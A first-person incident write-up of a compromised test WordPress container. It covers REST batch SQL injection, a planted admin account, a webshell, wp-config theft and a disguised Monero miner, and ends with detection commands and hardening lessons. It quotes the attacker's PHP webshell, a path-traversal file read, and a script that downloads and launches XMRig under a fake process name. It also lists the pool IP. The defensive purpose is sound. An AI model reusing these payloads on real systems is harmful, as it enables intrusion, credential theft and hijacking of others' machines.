I've been p*wned :-( My Server Mined Crypto for 6 Days and My Monitoring Called It a Memory Leak

The full attack chain, the mistake that opened the door, and the 2 commands that would have caught it on day 1.

My monitoring sent me a clean, well formatted alert. Diagnosis: memory leak on systemd-logind. Recommended action: restart the service. The process in question was a Monero miner that had been running for 26 hours inside a compromised WordPress container, and it was only called systemd-logind because the attacker had renamed it that way.

Over the same window, 5003 login attempts on wp-login.php failed. None of them worked. I looked at that number afterwards thinking the door had held. It held. The guy came in through the REST API, made himself an admin account, and uploaded his webshell through the plugin install form. No vulnerability at that step, just a feature working exactly as designed.

The WordPress was a test I had forgotten. A demo WooCommerce store, put up quickly, exposed publicly with a Let's Encrypt certificate and never updated behind. "Test" justified not touching it. The public exposure, that one was very real. It lasted 6 days and I found it almost by accident.

A Test Box Is Production You Ignore

I patch everything. Every container on that host gets rebuilt on a schedule, every image gets pulled, every service gets its own network. Every one except this one, because I had labeled it "test" in my head since 8 months and never revisited the label.

The problem with the word test is that it describes my intention rather than the machine's situation. The machine had a public DNS record, a valid TLS certificate, and a reverse proxy routing traffic to it from the open internet. Nothing about that setup knows or cares that I called it a demo. Scanners hit it the same way they hit a real store, which is to say constantly and without discrimination.

So the thing that happened weeks before anything interesting is that a bot found a WordPress instance running an old version, publicly reachable, with an unauthenticated REST API. From the outside it looked identical to 40 million other WordPress sites. That is the entire targeting logic. There was no reason for me specifically, no research, no interest in what I do. The internet just runs a wide net and I had left a hole in mine.

A test environment is either isolated or it is production with worse hygiene.

5003 Failures and 7 Successes

Looking at the access logs after the fact, the brute force is the loudest signal by far: 5003 POST requests against wp-login.php, spread over days, all of them returning 200 with a failed login. Every single one bounced.

Out of 5010 total POST requests to that endpoint, only 7 returned a 302 redirect, which is what a successful login looks like. The oldest of the 7 was me, back in May. The other 6 each followed, within seconds, a burst of requests to a completely different endpoint:

POST /?rest_route=/batch/v1

The batch/v1 endpoint lets you stack several REST calls inside a single HTTP request. The payload carried an SQL injection, and the full trace showed up in the PHP error log because part of it did not parse cleanly:

WordPress database error You have an error in your SQL syntax
SELECT SQL_CALC_FOUND_ROWS wp_posts.*
  FROM wp_posts
  WHERE 1=1 AND wp_posts.post_author NOT IN (1)
    AND 1=0 UNION ALL SELECT 0,1,0x323032302d…,0x74726967676572,… -- -

The injected values are hex encoded to avoid quotes. What makes this one nasty is what the injected rows trigger once WordPress starts rendering them. The call stack reads like a house where the intruder is already inside and keeps opening doors from within:

WP_REST_Server->serve_batch_request_v1
  → WP_REST_Posts_Controller->get_items
    → apply_filters('the_content') → WP_Embed->run_shortcode
      → wp_update_post → wp_insert_post
        → do_action('transition_post_status')
          → _wp_customize_publish_changeset
            → WP_Customize_Nav_Menu_Item_Setting->update
              → wp_update_nav_menu_item → wp_insert_post   [recursion]

The UNION forges rows in memory that never touch the database. Among them sits a customize_changeset holding a serialized nav_menu_item. Rendering the content fires the [embed] shortcode, which publishes the changeset, which loops back into wp_insert_post. That is wp_insert_post calling wp_insert_post, which is either elegant recursion or a stack overflow waiting to happen depending on who is driving. Somewhere in that loop an administrator account gets created, named wp2_ followed by 12 hex characters.

Then, 2 seconds later:

05:11:52  GET  /wp-admin/plugin-install.php?tab=upload
05:11:53  POST /wp-admin/update.php?action=upload-plugin

An admin uploads a zip. WordPress unpacks it into wp-content/plugins/. There is no exploit in that step, none at all. Uploading a plugin is something administrators are supposed to do, and by then the attacker was an administrator.

What Actually Left the Machine

The first 3 passes had nothing to do with mining. They were credential hunts, 3 of them inside 1 hour, and they went for the highest value target immediately.

The webshell they dropped was 720 bytes and used a delimiter format that turned out to be useful for me later:

if (hash_equals('<32 hex token>', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {
    chdir(__DIR__);
    echo 'WP2SHELL::' . shell_exec((string) $_GET['c']) . '::END';
}

Note the hash_equals. The author is using constant time comparison to protect his own access token against a timing attack, which tells you this is not somebody's weekend script. The WP2SHELL:: and ::END markers exist for a parser, not for a human reading output in a browser.

Those markers gave me an oracle. A response of exactly 15 bytes is the 2 markers with nothing between them, meaning the command returned empty. So I could measure, from the access log alone, exactly how much data each command actually produced.

The command at 02:49:

cat ../../../wp-config.php 2>/dev/null || cat ../../../../wp-config.php 2>/dev/null

Response size: 5138 bytes. That file was read and returned. It holds the MariaDB credentials and the 8 WordPress salt keys. That is the only confirmed exfiltration of the entire incident, and it is enough to consider the database and every session on that install as compromised.

Everything after that came back empty. The next pass ran a base64 encoded shell script that swept the filesystem for .env files and queried the options table for anything matching smtp, sendgrid, mailgun, brevo, postman. Response: 149 bytes, which is section markers with no content between them. The pass after that, a direct SQL query for the same thing: 103 bytes, also empty.

The reason is almost funny. The script hunted /var/www, /home, /srv, /www, the standard layout of a hand rolled LAMP server. This container ships WordPress under /opt/bitnami/wordpress. The whole run was spent swinging at empty directories, farming a spawn point that had never existed on this machine.

Every official Docker image puts its config files somewhere different and there is no convention anybody agrees on. Bitnami has its own tree, the Debian based images have another, the Alpine variants move things again, and the documentation usually gives you the mount point without telling you where the actual file lives inside it. I keep a text file with 30 lines in it that is just "where does the conf live in image X". It has been growing since 2019 and it has never once occurred to me to publish it.

The credential hunt failing matters more than the mining succeeding. SMTP credentials from a clean domain are worth real money for phishing. Monero mining on a small VPS pays cents. What I got was the fallback.

The Miner Was the Consolation Prize

The miner shows up on day 4, and both mining passes ran an identical sequence, down to the second. The opening block of commands is the part I did not expect:

pkill -f systemd-logind
rm -f /var/tmp/systemd-logind /etc/systemd/system/systemd-logind
find /tmp /var/tmp /dev/shm /home/* /root -name 'systemd-logind' -type f -delete
sed -i '/systemd-logind/d' /root/.bashrc

He starts by removing his own previous infection. Same operator, same tooling, cleaning up yesterday's install before laying down today's. That is a maintenance script, not an attack script. The guy has a cleanup routine and a release cadence, which is more process discipline than I have seen on some paid projects.

Then the actual payload:

cd /var/tmp && wget --no-check-certificate \
  'https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz' \
  -O xmrig.tar.gz
tar -xzf xmrig.tar.gz && mv xmrig-*/xmrig systemd-logind && rm -rf xmrig*
cd /var/tmp && nohup ./systemd-logind -c config.json >/dev/null 2>&1 &

XMRig, straight from the public GitHub release, renamed to systemd-logind and dropped in /var/tmp. The config was written from a base64 blob:

{"cpu": {"max-threads-hint": 90, "huge-pages": true, "msr": true},
 "randomx": {"mode": "auto"},
 "pools": [{"algo": "rx/0", "url": "45.86.86.254:443",
            "user": "lullemon111", "pass": "x",
            "tls": true, "keepalive": true}]}

A few details worth pulling out. rx/0 is RandomX, the Monero algorithm, tuned for CPUs and hostile to GPUs and ASICs. That is precisely why a graphics-card-free VPS is worth stealing and why Monero owns this whole category of crime. The 2.3 GB of RAM the process was eating is the RandomX dataset in fast mode, which is mandatory if you want any hashrate at all. Port 443 with TLS means the Stratum protocol is wearing an HTTPS coat to walk past egress filtering. And the pool address is a raw IP with no DNS lookup anywhere, so blocking resolution would have accomplished nothing.

The user field is lullemon111, a plain username. On a public pool that field carries the Monero payout address, so this is very likely a private mining proxy aggregating a fleet of boxes rather than a pool account. I think. Could be I am reading too much into a username.

Measured effect: 4 threads pinned near 99 percent, 396 percent total CPU, load average sitting at 4.9 on a host that also runs my production automation stack. Estimated yield for 26 hours of that: a few dozen cents. The economics work only at fleet scale, which is exactly why the same operator came back 6 times to a box that was giving him almost nothing.

Then, while cleaning up, I found the part that actually scared me. Another backdoor had been sitting there since day 2. A 79 KB interactive webshell with a file manager, a terminal, an editor, and a system info panel, dropped under a plugin folder named after a truck brand so it would look boring in the extensions list. It was password protected with a bcrypt hash, and the plaintext password was written in a comment inside the same file. For 5 days, anyone knowing the path had a full interactive shell on that container. Bots scan those paths continuously. The blast radius covers whoever else happened to look, well beyond the person who wrote the miner.

My Watchdog Told Me to Restart It

I have a daily digest that summarizes host health and flags anomalies. It saw this. It reported high memory usage on systemd-logind, called it a probable memory leak, and suggested systemctl restart systemd-logind. HAL 9000 calm, entirely wrong, and the suggested command would have restarted the real service while leaving the miner untouched.

The reason the disguise worked has nothing to do with the attacker being clever. Every control I had was comparing a process name against a list of expected process names, and systemd-logind sat on that list, so nothing fired. The real systemd-logind was also running the whole time, on PID 824, using 10 MB and behaving perfectly, which meant a human glancing at ps would see 2 plausible entries and move on. My fail2ban config never saw anything either, because the traffic arrived through the reverse proxy and terminated inside a container, so it never touched the system logs that fail2ban watches. File integrity monitoring did not exist on that host, process path verification neither, and a new file landing in a plugins directory triggered exactly nothing. The monitoring I built after a monitoring tool that watches every app could tell me whether services were up. Whether the services that were up were mine, it had no opinion at all.

2 reads would have ended the doubt on day 1:

readlink /proc/<pid>/exe     # → /var/tmp/systemd-logind
cat /proc/<pid>/cgroup       # → .../docker-<id>.scope

The first says the binary lives in a temp directory, which is never true of a real system daemon. The second says the process belongs to a container, which is never true of a host service. Neither requires expertise or a security product. They require somebody to look at the path instead of the name.

What actually caught it was cruder than any of this. The load average was high enough that the box felt slow when I ssh'd in to do something else entirely. I went looking for what was eating the CPU and found a process I recognized, in a place I did not.

Check Your Own Boxes Right Now

If you run containers behind a reverse proxy, these take under a minute and cost nothing. Run them on the host, not inside a container.

Processes whose binary is not where it should be:

for p in $(ls /proc | grep -E '^[0-9]+$'); do
  exe=$(readlink /proc/$p/exe 2>/dev/null)
  case "$exe" in
    ""|/usr/*|/bin/*|/sbin/*|/lib/*) ;;
    *) echo "$p  $(cat /proc/$p/comm 2>/dev/null)  →  $exe" ;;
  esac
done

Anything printing a path under /tmp, /var/tmp, /dev/shm, or ending in (deleted) needs an explanation before you do anything else. A deleted binary still executing is a strong signal on its own.

Then your access logs:

grep -c 'rest_route=/batch/v1' access.log
grep 'action=upload-plugin' access.log

A plugin upload you cannot account for means somebody had admin. If you find WP2SHELL:: anywhere in a response body or a log, stop reading this and go isolate the machine.

While you are there, run a find across your web volumes for PHP files in any plugins or uploads directory with a timestamp inside the last 30 days. Anything you did not put there is the whole investigation.

Network indicators from this specific incident, in case they match yours: the pool address 45.86.86.254 on port 443, the pool username lullemon111, files named systemd-logind outside /usr/lib/systemd and /lib/systemd, and admin users matching wp2_ followed by 12 hex characters that get created and deleted within the same minute.

What I Changed After the Cut

Isolation first, and the command mattered:

docker network disconnect <proxy-network> <container>

I picked this over removing the proxy labels because that path requires a compose up, which recreates the container and destroys the json-file logs. Those logs were the only surviving evidence of 3 webshells out of 5, since the attacker's cleanup routine deleted the files themselves. Killing the container would have deleted my own forensics along with his.

The container had another network flagged internal: true, so disconnecting the proxy network removed internet access at the same time as public exposure. CPU went from 396 percent to 1.3 percent. The miner is still in there, opening a socket 3 times a minute, getting ENETUNREACH, closing it, and trying again. It will do that until I decide what to do with the volume, and it will resume mining within 20 seconds if I ever reconnect that network.

The structural fix is network segmentation, and this is where the incident actually hurt. Docker itself did its job completely. Privileged mode was off, no capabilities were added, the socket was not mounted, and there was 1 volume. Nothing escaped to the host. But that container shared a bridge network with my production automation stack, which meant the webshell could reach it directly on its internal IP without ever going through the proxy or hitting an auth layer. The hull held and the exhaust vent was wide open the entire time. Anyone drawing a line between where systemd ends and containers begin runs into the same question I did: when a container falls, what can it touch?

Everything else I added is small. 1 bridge network per service group instead of a shared proxy bridge. A daily check that compares every process name against its actual exe path and screams if they disagree. An alert on new files in any mounted plugins or uploads directory. And a list of every publicly resolvable hostname I own, checked monthly, because what killed me was a subdomain I had stopped thinking about and nothing more sophisticated than that.

---

We all make mistakes.

Mine was a test WordPress, unhardened and unpatched, on a host where I do that systematically for everything else. What saved me was the environment isolation and the fact that some monitoring existed at all, even bad monitoring.

With AI, we produce so much now that keeping up manually is not really an option anymore. Which is why the approach to your environments has to be deliberate and systemic, and why the surveillance has to exist before you need it. Use AI to build, sure. Also use it to instrument what it builds, and to point at the human failures you keep leaving behind you 😬

Sources

• XMRig releases: https://github.com/xmrig/xmrig/releases
• WordPress REST API handbook: https://developer.wordpress.org/rest-api/
• Docker networking documentation: https://docs.docker.com/network/

This post may contain affiliate links. If you click them, I might earn a small commission, costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure.

---

A crypto miner ran for 6 days in his container because monitoring saw a memory leak. The real lesson: test boxes with public DNS are production, and the Demo vs Product Checklist would have caught this on day one.

→ Get the welcome kit